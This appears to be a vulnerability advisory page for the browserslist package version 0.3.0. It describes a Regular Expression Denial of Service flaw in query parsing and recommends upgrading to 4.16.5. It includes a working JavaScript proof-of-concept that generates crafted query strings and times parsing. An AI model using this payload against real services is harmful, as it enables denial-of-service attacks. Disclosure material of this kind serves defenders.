browserslist@0.3.0 vulnerabilities

Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

  • latest version

    4.24.2

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    1 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the browserslist package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

    PoC by Yeting Li

    var browserslist = require("browserslist")
    function build_attack(n) {
        var ret = "> "
        for (var i = 0; i < n; i++) {
            ret += "1"
        }
        return ret + "!";
    }
    
    // browserslist('> 1%')
    
    //browserslist(build_attack(500000))
    for(var i = 1; i <= 500000; i++) {
        if (i % 1000 == 0) {
            var time = Date.now();
            var attack_str = build_attack(i)
            try{
                browserslist(attack_str);
                var time_cost = Date.now() - time;
                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
                }
            catch(e){
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        }
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade browserslist to version 4.16.5 or higher.

    <4.16.5